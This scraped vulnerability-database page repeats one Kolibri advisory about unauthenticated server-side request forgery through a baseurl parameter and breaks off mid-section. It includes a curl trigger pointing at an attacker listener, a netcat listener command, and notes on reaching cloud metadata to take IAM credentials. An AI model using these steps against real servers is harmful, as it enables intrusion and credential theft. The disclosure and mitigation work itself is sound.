
            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 06, 2023

0.15.10 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Feb 02, 2023

0.15.9 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Nov 30, 2022

0.15.8 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

Response sanitisation. Each affected endpoint now coerces the remote response to a documented shape before returning it. Smuggled fields are dropped.
Authentication. The previously-open RemoteFacilityUser* endpoints now require an authenticated caller (or an unprovisioned device, for setup-wizard flows).
Cross-host redirect blocking. Remote-fetch HTTP sessions refuse 30x responses that point to a different hostname. Same-host redirects still work.
Peer allowlist. Endpoints that accept a caller-supplied baseurl resolve it only to peers Kolibri already knows about, rather than connecting to arbitrary hosts. Discovery and CLI flows that legitimately need to probe new addresses use a separate code path.

Credit

Initial report and identification of the RemoteFacilityUser* viewsets by @beraoudabdelkhalek. Reflection-based PoC, additional vector identification, and remediation by the Kolibri maintainers.

Summary

The RemoteFacilityUserViewset API endpoint (/api/auth/remotefacilityuser) has no authentication or permission checks and accepts a user-controlled baseurl parameter. This parameter is passed directly to NetworkClient.build_for_address() which makes server-side HTTP requests to the attacker-specified URL. An unauthenticated attacker can force the Kolibri server to reach out to arbitrary internal hosts, port-scan internal networks, and access cloud metadata endpoints.

Details

This is mainly due to the following issues:

1. Missing authentication on the API endpoint

File: kolibri/core/auth/api.py, line ~1553

class RemoteFacilityUserViewset(views.APIView):  # No permission_classes → AllowAny
    def get(self, request):
        baseurl = request.query_params.get("baseurl", "")
        validator(baseurl)  # Only checks URL format (http/https scheme + valid hostname)
        client = NetworkClient.build_for_address(baseurl)
        response = client.get(url, params={"facility": facility, "search": username})

No permission_classes attribute is defined, and DEFAULT_PERMISSION_CLASSES is not set in the DRF configuration, so the endpoint defaults to AllowAny , accepting requests with zero authentication.

Similarly, RemoteFacilityUserAuthenticatedViewset (line ~1577, POST endpoint) also has no permission_classes, though it currently checks permissions via a different mechanism. The initial build_for_address() call still fires before that check.

2. Weak URL validation

File: kolibri/utils/urls.py, line 1-7

from django.core.validators import URLValidator
validator = URLValidator(schemes=["http", "https"])

The only validation is that the URL has an http or https scheme and a valid hostname. There is no block on:

RFC 1918 private IPs (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
Loopback addresses (127.0.0.0/8, ::1)
Link-local addresses (169.254.0.0/16, including AWS/GCP/Azure metadata endpoints)
IPv6 equivalents of any of the above

PoC

Prerequisites: A listener on a host reachable by the Kolibri server (e.g., nc -lvp 1337) the listener can be local or remote.

Against a local Docker deployment (validated against Kolibri 0.19.3):

# Trigger the SSRF no auth headers needed
curl "http://localhost:8080/api/auth/remotefacilityuser?baseurl=http://172.17.0.1:1337&username=test&facility=<facility_id>"

The Kolibri server makes an outbound HTTP request to the attacker's listener:

GET /api/public/info/?v=3 HTTP/1.1
Host: 172.17.0.1:1337
User-Agent: Kolibri/0.19.3 python-requests/2.27.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

Testers have also confirmed the issue against live deployments of Kolibri.

Impact

Unauthenticated SSRF : any attacker who can reach the Kolibri server can make it issue HTTP requests to arbitrary hosts, with no credentials needed Internal network scanning : the built-in port scanning behavior (5+ ports per HTTP target, 24+ connection attempts per request) allows mapping internal networks through the timing oracle Cloud metadata access : if Kolibri runs on a cloud VM (AWS EC2, GCP, Azure), the attacker can reach 169.254.169.254 and potentially exfiltrate IAM credentials and instance metadata Internal service discovery : other Kolibri instances or internal services on the network can be discovered and their API responses read by the attacker Blind SSRF via POST endpoint : RemoteFacilityUserAuthenticatedViewset returns 403 to the attacker but still makes the outbound request before the permission check

Affected versions


          0.0.1.dev20160531112859


          0.1.1rc2


          0.1.1rc3


          0.10.0


          0.10.1


          0.10.2


          0.10.3


          0.10.3b2


          0.10.3b3


          0.11.0


          0.11.0b2


          0.11.1

+ 114 more


            0.12.0


            0.12.0b5


            0.12.0b6


            0.12.0b7


            0.12.0b8


            0.12.0b9


            0.12.1


            0.12.10b3


            0.12.2


            0.12.3


            0.12.3b1


            0.12.4


            0.12.4b2


            0.12.4b3


            0.12.4b5


            0.12.4b6


            0.12.4b7


            0.12.4b8


            0.12.5


            0.12.5b1


            0.12.5b2


            0.12.6


            0.12.6b1


            0.12.6b2


            0.12.6rc1


            0.12.7


            0.12.8


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0b2


            0.13.0b3


            0.13.0b4


            0.13.0b5


            0.13.0b6


            0.13.0b7


            0.13.0b8


            0.13.1


            0.13.1b1


            0.13.1b2


            0.13.2


            0.13.2b1


            0.13.3


            0.13.3b1


            0.13.3rc1


            0.14.0


            0.14.0b10


            0.14.0b3


            0.14.0rc1


            0.14.1


            0.14.2


            0.14.3


            0.14.4


            0.14.4rc1


            0.14.5


            0.14.6


            0.14.7


            0.14.8a1


            0.14.8a2


            0.14.8a4


            0.14.8a5


            0.14.8a6


            0.14.8a7


            0.14.8a8


            0.15.0


            0.15.0b5


            0.15.1


            0.15.10


            0.15.11


            0.15.12


            0.15.1b1


            0.15.2


            0.15.3


            0.15.4


            0.15.5


            0.15.6


            0.15.7


            0.15.8


            0.15.9


            0.16.0


            0.16.1


            0.16.2


            0.17.0


            0.17.1


            0.17.2


            0.17.3


            0.17.4


            0.17.5


            0.18.0


            0.18.1


            0.18.2


            0.18.3


            0.18.4


            0.19.0


            0.19.1


            0.19.2


            0.19.3


            0.2.0a0


            0.2.0a2


            0.2.1


            0.4.4


            0.5.3


            0.6.1


            0.7.0


            0.7.1


            0.7.2


            0.7.2b2


            0.8.0


            0.8.0b3


            0.8.0b4


            0.9.0


            0.9.1


            0.9.2

Fixed in


          0.19.4

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 12, 2022

0.15.7 patch

1 CVE

CVE-2026-48053 PYSEC-2026-2554 GHSA-4mj9-pf4r-cqrc Jul 13, 2026

Kolibri has Unauthenticated Server-Side Request Forgery (SSRF) in RemoteFacilityUserViewset

5.8 / 10

Medium

Network Low None None Changed Low None None

Summary

Several Kolibri API endpoints accept an unvalidated baseurl parameter and fetch attacker-controlled URLs from the Kolibri server, reflecting the response body back to the caller. The original report identified two endpoints on the RemoteFacilityUser* viewsets; remediation review found two further reflection points on the same pattern. The GET endpoint was unauthenticated.

Affected endpoints

Reported:

GET /api/auth/remotefacilityuser → RemoteFacilityUserViewset (kolibri/core/auth/api.py:1570). No authentication required.
POST /api/auth/remotefacilityauthenticateduserinfo → RemoteFacilityUserAuthenticatedViewset (kolibri/core/auth/api.py:1594). Authentication is checked against the remote server rather than the local Kolibri.

Found during remediation:

POST /api/public/setupwizard/loddata → setup wizard's remote-signup proxy (kolibri/plugins/setup_wizard/api.py). Reachable on unprovisioned devices.
GET /api/public/networklocation/<id>/facilities/ → NetworkLocationFacilitiesView (kolibri/core/discovery/api.py). Authenticated but with the same Response(remote_payload) pattern.

Root cause

Two compounding issues:

Response reflection — these endpoints returned the remote server's JSON body more or less verbatim to the caller (Response(response.json()), Response(facility_info["users"]), etc.).
No restriction on the remote target — baseurl was validated only by URLValidator(schemes=["http", "https"]). NetworkClient.build_for_address() would connect to any host with a valid Kolibri-shaped /api/public/info/ response, and requests followed 30x redirects by default, so a hostile peer could pivot the fetch to an arbitrary host (cloud metadata, internal services) before reflection.

Two reflection vectors

GET vector (RemoteFacilityUserViewset): The viewset fetched <baseurl>/api/public/facilitysearchuser/ and returned Response(response.json()). An attacker-controlled baseurl returned a 302 to an arbitrary internal URL; requests followed the redirect, and the redirected response body was returned to the attacker.

POST vector (RemoteFacilityUserAuthenticatedViewset): get_remote_users_info() fetched <baseurl>/api/public/facilityuser/ with Basic Auth and the viewset returned Response(facility_info["users"]). A malicious baseurl returned crafted user-shaped JSON; arbitrary smuggled fields were reflected back to the caller. The setup wizard and NetworkLocationFacilitiesView endpoints had the same shape on different remote URLs.

Reproduction

The vulnerability can be reproduced by pointing baseurl at an attacker-controlled HTTP server that:

Responds to GET /api/public/info/ with a valid Kolibri info payload (so NetworkClient.build_for_address() succeeds).
GET vector: responds to GET /api/public/facilitysearchuser/ with a 302 redirect to the target URL. The redirected response body is reflected via Response(response.json()).
POST vector: responds to the relevant remote URL with crafted JSON containing additional fields. The full JSON is reflected.

A working PoC has been retained internally and is not published with this advisory.

Demonstrated impact (pre-fix)

Unauthenticated outbound requests from the Kolibri server to any HTTP(S) URL the attacker chose (GET endpoint only; the others required auth or an unprovisioned device).
Reflected data exfiltration for any HTTP endpoint that responded to a plain GET with JSON and no special request headers.
Cloud metadata reachability was realistic but service-specific:
- AWS IMDSv1 — reachable
- DigitalOcean (/metadata/v1.json) — reachable
- GCP, Azure, AWS IMDSv2 — not reachable via this vector (require Metadata-Flavor / Metadata / token headers that the attacker could not inject)
Reachability of internal HTTP services on the same network as the Kolibri server, with their JSON responses returned to the attacker.

Not demonstrated

The earlier draft asserted port scanning via a timing oracle and generic "internal network mapping." The reflection vector reads response bodies directly when the target speaks JSON; timing-based scanning of arbitrary TCP services was not demonstrated and is not the headline risk.

Mitigation

Four layers of defence:

